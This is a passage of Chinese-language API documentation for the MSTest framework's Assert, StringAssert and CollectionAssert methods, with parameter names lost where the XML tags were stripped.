- 测试指定的双精度型是否相等。如果不相等, - 则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - 要包含在异常中的消息,条件是当 - 不同于 多于 - 。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to . - - - - - 测试指定的双精度型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期不匹配 - 的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - Thrown if is equal to . - - - - - 测试指定的双精度型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期不匹配 - 的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - 要包含在异常中的消息,条件是当 - 等于 或相差少于 - 。消息显示在测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的双精度型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期不匹配 - 的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - 要包含在异常中的消息,条件是当 - 等于 或相差少于 - 。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的字符串是否相等, - 如果不相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - Thrown if is not equal to . - - - - - 测试指定的字符串是否相等, - 如果不相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to . - - - - - 测试指定的字符串是否相等, - 如果不相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to . - - - - - 测试指定的字符串是否相等,如果不相等, - 则引发一个异常。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - Thrown if is not equal to . - - - - - 测试指定的字符串是否相等,如果不相等, - 则引发一个异常。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to . - - - - - 测试指定的字符串是否相等,如果不相等, - 则引发一个异常。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to . - - - - - 测试指定字符串是否不相等, - 如果相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - Thrown if is equal to . - - - - - 测试指定字符串是否不相等, - 如果相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定字符串是否不相等, - 如果相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的字符串是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - Thrown if is equal to . - - - - - 测试指定的字符串是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的字符串是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的对象是否是预期类型的一个实例, - 如果预期类型不位于对象的继承分层中, - 则引发一个异常。 - - - 测试预期为指定类型的对象。 - - - 预期类型。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 测试指定的对象是否是预期类型的一个实例, - 如果预期类型不位于对象的继承分层中, - 则引发一个异常。 - - - 测试预期为指定类型的对象。 - - - 预期类型。 - - - 要包含在异常中的消息,条件是当 - 不是一个实例。消息 - 显示在测试结果中。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 测试指定的对象是否是预期类型的一个实例, - 如果预期类型不位于对象的继承分层中, - 则引发一个异常。 - - - 测试预期为指定类型的对象。 - - - 预期类型。 - - - 要包含在异常中的消息,条件是当 - 不是一个实例。消息 - 显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 测试指定对象是否不是一个错误 - 类型实例,如果指定类型位于对象的 - 继承层次结构中,则引发一个异常。 - - - 测试预期不是指定类型的对象。 - - - 类型 不应。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 测试指定对象是否不是一个错误 - 类型实例,如果指定类型位于对象的 - 继承层次结构中,则引发一个异常。 - - - 测试预期不是指定类型的对象。 - - - 类型 不应。 - - - 要包含在异常中的消息,条件是当 - 是一个实例。消息显示 - 在测试结果中。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 测试指定对象是否不是一个错误 - 类型实例,如果指定类型位于对象的 - 继承层次结构中,则引发一个异常。 - - - 测试预期不是指定类型的对象。 - - - 类型 不应。 - - - 要包含在异常中的消息,条件是当 - 是一个实例。消息显示 - 在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 引发 AssertFailedException。 - - - Always thrown. - - - - - 引发 AssertFailedException。 - - - 包含在异常中的消息。信息显示在 - 测试结果中。 - - - Always thrown. - - - - - 引发 AssertFailedException。 - - - 包含在异常中的消息。信息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Always thrown. - - - - - 引发 AssertInconclusiveException。 - - - Always thrown. - - - - - 引发 AssertInconclusiveException。 - - - 包含在异常中的消息。信息显示在 - 测试结果中。 - - - Always thrown. - - - - - 引发 AssertInconclusiveException。 - - - 包含在异常中的消息。信息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Always thrown. - - - - - 静态相等重载用于比较两种类型实例的引用 - 相等。此方法应用于比较两个实例的 - 相等。此对象始终会引发 Assert.Fail。请在单元测试中使用 - Assert.AreEqual 和关联的重载。 - - 对象 A - 对象 B - 始终为 False。 - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - 要包含在异常中的消息,条件是当 - 不引发类型的异常 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - 要包含在异常中的消息,条件是当 - 不引发类型的异常 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - 要包含在异常中的消息,条件是当 - 不引发类型的异常 。 - - - 在格式化时使用的参数数组 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - 要包含在异常中的消息,条件是当 - 不引发类型的异常 。 - - - 在格式化时使用的参数数组 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 该 执行委托。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 如果代码不引发异常或引发非 类型的异常,则引发 AssertFailedException。 - - 委托到要进行测试且预期将引发异常的代码。 - - 要包含在异常中的消息,条件是当 - 不引发异常类型。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 该 执行委托。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 如果代码不引发异常或引发非 类型的异常,则引发 AssertFailedException。 - - 委托到要进行测试且预期将引发异常的代码。 - - 要包含在异常中的消息,条件是当 - 不引发异常类型。 - - - 在格式化时使用的参数数组 。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 该 执行委托。 - - - - - 将 null 字符("\0")替换为 "\\0"。 - - - 要搜索的字符串。 - - - 其中 null 字符替换为 "\\0" 的转换字符串。 - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - 用于创建和引发 AssertionFailedException 的帮助程序函数 - - - 引发异常的断言名称 - - - 描述断言失败条件的消息 - - - 参数。 - - - - - 检查有效条件的参数 - - - 参数。 - - - 断言名称。 - - - 参数名称 - - - 无效参数异常的消息 - - - 参数。 - - - - - 将对象安全地转换为字符串,处理 null 值和 null 字符。 - 将 null 值转换为 "(null)"。将 null 字符转换为 "\\0"。 - - - 要转换为字符串的对象。 - - - 转换的字符串。 - - - - - 字符串断言。 - - - - - 获取 CollectionAssert 功能的单一实例。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 测试指定字符串是否包含指定子字符串, - 如果子字符串未出现在 - 测试字符串中,则引发一个异常。 - - - 预期要包含的字符串 。 - - - 字符串,预期出现在 。 - - - Thrown if is not found in - . - - - - - 测试指定字符串是否包含指定子字符串, - 如果子字符串未出现在 - 测试字符串中,则引发一个异常。 - - - 预期要包含的字符串 。 - - - 字符串,预期出现在 。 - - - 要包含在异常中的消息,条件是当 - 未处于 。消息显示在 - 测试结果中。 - - - Thrown if is not found in - . - - - - - 测试指定字符串是否包含指定子字符串, - 如果子字符串未出现在 - 测试字符串中,则引发一个异常。 - - - 预期要包含的字符串 。 - - - 字符串,预期出现在 。 - - - 要包含在异常中的消息,条件是当 - 未处于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not found in - . - - - - - 测试指定的字符串是否以指定的子字符串开头, - 如果测试字符串不以该子字符串开头, - 则引发一个异常。 - - - 字符串,预期开头为。 - - - 预期是前缀的字符串。 - - - Thrown if does not begin with - . - - - - - 测试指定的字符串是否以指定的子字符串开头, - 如果测试字符串不以该子字符串开头, - 则引发一个异常。 - - - 字符串,预期开头为。 - - - 预期是前缀的字符串。 - - - 要包含在异常中的消息,条件是当 - 开头不为 。消息 - 显示在测试结果中。 - - - Thrown if does not begin with - . - - - - - 测试指定的字符串是否以指定的子字符串开头, - 如果测试字符串不以该子字符串开头, - 则引发一个异常。 - - - 字符串,预期开头为。 - - - 预期是前缀的字符串。 - - - 要包含在异常中的消息,条件是当 - 开头不为 。消息 - 显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if does not begin with - . - - - - - 测试指定字符串是否以指定子字符串结尾, - 如果测试字符串不以子字符串结尾, - 则引发一个异常。 - - - 字符串,其结尾应为。 - - - 预期是后缀的字符串。 - - - Thrown if does not end with - . - - - - - 测试指定字符串是否以指定子字符串结尾, - 如果测试字符串不以子字符串结尾, - 则引发一个异常。 - - - 字符串,其结尾应为。 - - - 预期是后缀的字符串。 - - - 要包含在异常中的消息,条件是当 - 结尾不为 。消息 - 显示在测试结果中。 - - - Thrown if does not end with - . - - - - - 测试指定字符串是否以指定子字符串结尾, - 如果测试字符串不以子字符串结尾, - 则引发一个异常。 - - - 字符串,其结尾应为。 - - - 预期是后缀的字符串。 - - - 要包含在异常中的消息,条件是当 - 结尾不为 。消息 - 显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if does not end with - . - - - - - 测试指定的字符串是否匹配正则表达式,如果字符串不匹配正则表达式,则 - 引发一个异常。 - - - 预期匹配的字符串 。 - - - 正则表达式 应 - 匹配。 - - - Thrown if does not match - . - - - - - 测试指定的字符串是否匹配正则表达式,如果字符串不匹配正则表达式,则 - 引发一个异常。 - - - 预期匹配的字符串 。 - - - 正则表达式 应 - 匹配。 - - - 要包含在异常中的消息,条件是当 - 不匹配 。消息显示在 - 测试结果中。 - - - Thrown if does not match - . - - - - - 测试指定的字符串是否匹配正则表达式,如果字符串不匹配正则表达式,则 - 引发一个异常。 - - - 预期匹配的字符串 。 - - - 正则表达式 应 - 匹配。 - - - 要包含在异常中的消息,条件是当 - 不匹配 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if does not match - . - - - - - 测试指定字符串是否与正则表达式不匹配, - 如果字符串与表达式匹配,则引发一个异常。 - - - 预期不匹配的字符串。 - - - 正则表达式 预期 - 为不匹配。 - - - Thrown if matches . - - - - - 测试指定字符串是否与正则表达式不匹配, - 如果字符串与表达式匹配,则引发一个异常。 - - - 预期不匹配的字符串。 - - - 正则表达式 预期 - 为不匹配。 - - - 要包含在异常中的消息,条件是当 - 匹配 。消息显示在 - 测试结果中。 - - - Thrown if matches . - - - - - 测试指定字符串是否与正则表达式不匹配, - 如果字符串与表达式匹配,则引发一个异常。 - - - 预期不匹配的字符串。 - - - 正则表达式 预期 - 为不匹配。 - - - 要包含在异常中的消息,条件是当 - 匹配 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if matches . - - - - - 帮助程序类的集合,用于测试与单元测试内的集合相关联的 - 多种条件。如果不满足被测条件, - 则引发一个异常。 - - - - - 获取 CollectionAssert 功能的单一实例。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 测试指定集合是否包含指定元素, - 如果集合不包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期位于集合中的元素。 - - - Thrown if is not found in - . - - - - - 测试指定集合是否包含指定元素, - 如果集合不包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期位于集合中的元素。 - - - 要包含在异常中的消息,条件是当 - 未处于 。消息显示在 - 测试结果中。 - - - Thrown if is not found in - . - - - - - 测试指定集合是否包含指定元素, - 如果集合不包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期位于集合中的元素。 - - - 要包含在异常中的消息,条件是当 - 未处于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not found in - . - - - - - 测试指定的集合是否不包含指定 - 元素,如果集合包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期不在集合中的元素。 - - - Thrown if is found in - . - - - - - 测试指定的集合是否不包含指定 - 元素,如果集合包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期不在集合中的元素。 - - - 要包含在异常中的消息,条件是当 - 位于。消息显示在 - 测试结果中。 - - - Thrown if is found in - . - - - - - 测试指定的集合是否不包含指定 - 元素,如果集合包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期不在集合中的元素。 - - - 要包含在异常中的消息,条件是当 - 位于。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is found in - . - - - - - 测试指定的集合中所有项是否都为非 null, - 如果有元素为 null,则引发一个异常。 - - - 在其中搜索 null 元素的集合。 - - - Thrown if a null element is found in . - - - - - 测试指定的集合中所有项是否都为非 null, - 如果有元素为 null,则引发一个异常。 - - - 在其中搜索 null 元素的集合。 - - - 要包含在异常中的消息,条件是当 - 包含一个 null 元素。消息显示在测试结果中。 - - - Thrown if a null element is found in . - - - - - 测试指定的集合中所有项是否都为非 null, - 如果有元素为 null,则引发一个异常。 - - - 在其中搜索 null 元素的集合。 - - - 要包含在异常中的消息,条件是当 - 包含一个 null 元素。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if a null element is found in . - - - - - 测试指定集合中的所有项是否都唯一, - 如果集合中有任何两个元素相等,则引发异常。 - - - 要在其中搜索重复元素的集合。 - - - Thrown if a two or more equal elements are found in - . - - - - - 测试指定集合中的所有项是否都唯一, - 如果集合中有任何两个元素相等,则引发异常。 - - - 要在其中搜索重复元素的集合。 - - - 要包含在异常中的消息,条件是当 - 包含至少一个重复元素。消息显示在 - 测试结果中。 - - - Thrown if a two or more equal elements are found in - . - - - - - 测试指定集合中的所有项是否都唯一, - 如果集合中有任何两个元素相等,则引发异常。 - - - 要在其中搜索重复元素的集合。 - - - 要包含在异常中的消息,条件是当 - 包含至少一个重复元素。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if a two or more equal elements are found in - . - - - - - 测试一个集合是否是另一集合的子集, - 如果子集中的任何元素都不是超集中的元素, - 则引发一个异常。 - - - 预期为一个子集的集合。 - - - 预期为以下对象的超集的集合: - - - Thrown if an element in is not found in - . - - - - - 测试一个集合是否是另一集合的子集, - 如果子集中的任何元素都不是超集中的元素, - 则引发一个异常。 - - - 预期为一个子集的集合。 - - - 预期为以下对象的超集的集合: - - - 包括在异常中的消息,此时元素位于 - 未找到 . - 消息显示在测试结果中。 - - - Thrown if an element in is not found in - . - - - - - 测试一个集合是否是另一集合的子集, - 如果子集中的任何元素都不是超集中的元素, - 则引发一个异常。 - - - 预期为一个子集的集合。 - - - 预期为以下对象的超集的集合: - - - 包括在异常中的消息,此时元素位于 - 未找到 . - 消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if an element in is not found in - . - - - - - 测试一个集合是否不是另一个集合的子集, - 如果子集中的所有元素同时位于超集中, - 则引发一个异常. - - - 预期不是一个子集的集合 。 - - - 预期不为超集的集合 - - - Thrown if every element in is also found in - . - - - - - 测试一个集合是否不是另一个集合的子集, - 如果子集中的所有元素同时位于超集中, - 则引发一个异常. - - - 预期不是一个子集的集合 。 - - - 预期不为超集的集合 - - - 要包含在异常中的消息,条件是当每个元素 - 还存在于. - 消息显示在测试结果中。 - - - Thrown if every element in is also found in - . - - - - - 测试一个集合是否不是另一个集合的子集, - 如果子集中的所有元素同时位于超集中, - 则引发一个异常. - - - 预期不是一个子集的集合 。 - - - 预期不为超集的集合 - - - 要包含在异常中的消息,条件是当每个元素 - 还存在于. - 消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if every element in is also found in - . - - - - - 测试两个集合是否包含相同的元素,如果 - 任一集合包含的元素不在另一 - 集合中,则引发一个异常。 - - - 要比较的第一个集合。它包含测试预期的 - 元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 测试两个集合是否包含相同的元素,如果 - 任一集合包含的元素不在另一 - 集合中,则引发一个异常。 - - - 要比较的第一个集合。它包含测试预期的 - 元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - 当某个元素仅可在其中一个集合内找到时 - 要包含在异常中的消息。消息显示在 - 测试结果中。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 测试两个集合是否包含相同的元素,如果 - 任一集合包含的元素不在另一 - 集合中,则引发一个异常。 - - - 要比较的第一个集合。它包含测试预期的 - 元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - 当某个元素仅可在其中一个集合内找到时 - 要包含在异常中的消息。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 测试两个集合是否包含不同元素, - 如果这两个集合中包含相同元素,则不管 - 顺序如何,均引发一个异常。 - - - 要比较的第一个集合。这包含测试 - 预期与实际集合不同的元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 测试两个集合是否包含不同元素, - 如果这两个集合中包含相同元素,则不管 - 顺序如何,均引发一个异常。 - - - 要比较的第一个集合。这包含测试 - 预期与实际集合不同的元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - 要包含在异常中的消息,条件是当 - 包含相同的元素 。消息 - 显示在测试结果中。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 测试两个集合是否包含不同元素, - 如果这两个集合中包含相同元素,则不管 - 顺序如何,均引发一个异常。 - - - 要比较的第一个集合。这包含测试 - 预期与实际集合不同的元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - 要包含在异常中的消息,条件是当 - 包含相同的元素 。消息 - 显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 测试指定集合中的所有元素是否是预期类型的 - 实例,如果预期类型 - 不在一个或多个这些元素的继承层次结构中,则引发一个异常。 - - - 包含测试预期为指定类型的 - 元素的集合。 - - - 每个元素的预期类型 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 测试指定集合中的所有元素是否是预期类型的 - 实例,如果预期类型 - 不在一个或多个这些元素的继承层次结构中,则引发一个异常。 - - - 包含测试预期为指定类型的 - 元素的集合。 - - - 每个元素的预期类型 。 - - - 包括在异常中的消息,此时元素位于 - 不是实例 - 。消息显示在测试结果中。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 测试指定集合中的所有元素是否是预期类型的 - 实例,如果预期类型 - 不在一个或多个这些元素的继承层次结构中,则引发一个异常。 - - - 包含测试预期为指定类型的 - 元素的集合。 - - - 每个元素的预期类型 。 - - - 包括在异常中的消息,此时元素位于 - 不是实例 - 。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 测试指定的集合是否相等,如果两个集合 - 不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否相等,如果两个集合 - 不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否相等,如果两个集合 - 不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否不相等, - 如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - Thrown if is equal to . - - - - - 测试指定的集合是否不相等, - 如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的集合是否不相等, - 如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的集合是否相等,如果两个集合 - 不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否相等,如果两个集合 - 不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否相等,如果两个集合 - 不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否不相等, - 